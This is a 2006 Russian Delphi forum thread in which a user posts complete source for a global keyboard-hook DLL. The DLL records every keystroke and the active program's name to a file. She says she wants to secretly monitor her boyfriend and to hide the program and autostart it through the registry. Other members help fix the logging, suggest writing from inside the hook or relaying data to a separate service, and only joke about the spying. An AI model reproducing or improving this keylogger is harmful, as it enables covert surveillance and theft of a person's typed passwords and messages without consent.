Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Запись в текстовый файл [D7, WinXP]


Страницы:   1 2 3 4 5

Tanya ©   (2006-07-26 21:33:00) 

Что-то я никак не пойму почему не работает запись в файл... Делаю я так:

var
F: TextFile;

при запуске программы:

 AssignFile(F, 'file.dat');
 if FileExists('file.dat') then
   Append(F)
 else
   Rewrite(F);


при закрытии программы:

 CloseFile(F);


во время работы программы в определенные моменты файл постоянно дополняется новой строкой(ами):

WriteLn(F, 'test');


Файл создается если его нету, но вот почему в него не записывается ничего я не пойму...((( В блокноте открываю его, а там пусто...((( Мастера, подскажите пожалуйста..


Джо   (2006-07-26 22:23:00) [81]

Самое простое — открывать файл для записи, делать запись и закрывать файл прямо в SysMsgProc.


Tanya   (2006-07-26 22:21:00) [82]

Можно ли сделать какнибудь чтобы не прокисали? ))) Я просто хочу сделать ее незаметной, функции из библиотеки прописать на события запуска и выключения Windows-а в реестре..


Мефисто   (2006-07-26 22:17:00) [83]


> хочу проверить своего парня...)))


Подгялдывать, не хорошо!...

Ералаш (с)


tesseract   (2006-07-26 22:08:00) [84]

> [8] Tanya   (26.07.06 22:04)

в DLL общие переменные плохо храняться. Прокисают.
Вот и вся проблема.
Лучше запускать отдельно сервис и в него передавать через WM_COPYDATA данные перехвата из DLL.

ЗЫ: Лучше парню поесть приготовьте получше - он оценит.


Tanya   (2006-07-26 22:04:00) [85]

Хорошо Джо, буду писать в "Начинающим"..)) Выкладываю весь код:

Программа:

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, XPMan, StdCtrls;

type
 TForm1 = class(TForm)
   Button1: TButton;
   XPManifest1: TXPManifest;
   procedure Button1Click(Sender: TObject);
 end;

var
 Form1: TForm1;

procedure RunHook; stdcall; external 'MyLib.dll' index 1;
procedure StopHook; stdcall; external 'MyLib.dll' index 2;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
 if Button1.Caption = 'Run' then
   begin
     Button1.Caption := 'Stop';
     RunHook;
   end
 else
   if Button1.Caption = 'Stop' then
     begin
       StopHook;
       Button1.Caption := 'Run';
     end;
end;

end.


Библиотека:

library MyLib;

uses
 Windows, Messages, Dialogs, SysUtils;

var
 F: TextFile;
 SysHook: HHook = 0;

function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall;
var
 ModuleFileName: array[0..MAX_PATH-1] of Char;
 KeyBS: TKeyboardState;
 pTransChar : PChar;
begin
 if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
   begin
     GetKeyBoardState(KeyBS);
     GetMem(pTransChar, 3);
     ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0));
     GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName));

     WriteLn(F,  ModuleFileName);
     WriteLn(F,  pTransChar^);

     FreeMem(pTransChar);
     Result := 0;
   end
 else
   Result := CallNextHookEx(SysHook, nCode, wParam, lParam);
end;

procedure RunHook; export; stdcall;
begin
 AssignFile(F, 'c:\file.dat');
 if FileExists('c:\file.dat') then
   Append(F)
 else
   Rewrite(F);
 SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0);
end;

procedure StopHook; export; stdcall;
begin
 UnHookWindowsHookEx(SysHook);
 SysHook := 0;
 CloseFile(F);
end;

exports
 RunHook index 1,
 StopHook index 2;


P.S. Часть текста скопиравана с http://delphimaster.ru/cgi-bin/forum.pl?id=1153923540&n=18 Идея понравилась, хочу проверить своего парня...)))


Мефисто   (2006-07-26 21:47:00) [86]

По F1

var

 f: TextFile;
begin
 if OpenDialog1.Execute then
 begin                    { open a text file }
   AssignFile(f, OpenDialog1.FileName);
   Append(f);
   Writeln(f, 'I am appending some stuff to the end of the file.');
   { insert code here that would require a Flush before closing the file }
    Flush(f); { ensures that the text was actually written to file }
   CloseFile(f);
 end;

end;


Джо   (2006-07-26 21:43:00) [87]

П.С. Во избежание дальнейших недоразумений, Татьяна, рекоммендую впредь подобные вопросы сразу постить в конференции "Начинающим".


Джо   (2006-07-26 21:42:00) [88]

Телепатор, честное слово, сдал в починку :)

Если есть желание выложить куда-нибудь полный код (или сразу проект, если он не велик и не содержит сторонних компонентов) , то обещаю посмотреть на него.


Calibr   (2006-07-26 21:40:00) [89]

Попробуй сделать так:

AssignFile(f, ExtractFilePath(Application.ExeName) + 'file.dat');

должно получиться!!!


Tanya   (2006-07-26 21:40:00) [90]

Я попробовала выводить сообщение еще в программе после строки WriteLn(F, 'test');так вот почему-то оно не выводится, такое ощущение что программа останавливается на этой строке...


Tanya   (2006-07-26 21:38:00) [91]

Всеравно пустой...((( Может это из за того что я все это сделала в библиотеке? Вроде без разнице где...


Джо   (2006-07-26 21:34:00) [92]

Предлагаю попробовать передавать в AssignFile полное имя файла с путем.


Страницы:   1 2 3 4 5

Наверх

Титульная страница Поиск, карта сайта Написать письмо